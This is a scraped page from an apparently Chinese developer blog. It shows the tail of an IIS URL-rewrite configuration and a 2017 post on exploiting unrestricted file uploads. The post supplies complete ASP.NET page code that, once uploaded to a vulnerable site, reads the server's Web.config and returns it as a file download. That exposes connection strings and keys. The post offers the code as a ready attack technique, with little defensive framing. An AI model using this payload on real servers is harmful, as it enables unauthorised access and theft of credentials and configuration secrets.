to="~/user/index.aspx?r=$1" /> <rewrite url="~/ask/q(.+).aspx" to="~/home/ask/content.aspx?id=$1" /> <rewrite url="~/blog/b(.+).aspx" to="~/home/blog/article.aspx?r=$1" /> <rewrite url="~/news/n(.+).aspx" to="~/home/news/content.aspx?nid=$1" /> <rewrite url="~/default.aspx" to="~/home/ram/net.aspx" /> </rewriter> </configuration>

配置文件 IIS ASP.NET
阅读更多
通过一个一般处理程序(aspx文件)直接获取服务器web.config文件
后端开发
2017-03-11 • 0k

通过一个一般处理程序(aspx文件)直接获取服务器web.config文件

如果某个网站文件、图片上传直接存储到网站目录下,而且没限制文件格式,可上传一个aspx文件,然后直接执行 <%@ Page Language="C#" ContentType="text/html" ResponseEncoding="gb2312" %> <%@ Import Namespace="System.Text" %> <%@ Import Namespace="System.IO"%> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <title>用户注册</title> <script language="javascript"> </script> <script language="c#" runat="server"> string result=""; //服务器上执行的方法 public void Page_Load(Object sender,EventArgs e) { using (FileStream fs = new FileStream(Server.MapPath("/")+"Web.config", FileMode.Open, FileAccess.Read)) { byte[] buffer = new byte[fs.Length]; fs.Read(buffer, 0, buffer.Length); string msg = System.Text.Encoding.UTF8.GetString(buffer); //Response.Write(msg); string timeNow = DateTime.Now.ToString(); Response.Clear(); Response.Buffer = false; Response.ContentType = "application/octet-stream"; Response.AppendHeader("content-disposition", "attachment;filename=" + "Web" + ".config;"); Response.Write(msg); Response.Flush(); Response.End(); } } </script> </head> <body> </body> </html>

dotnet aspx web.config
阅读更多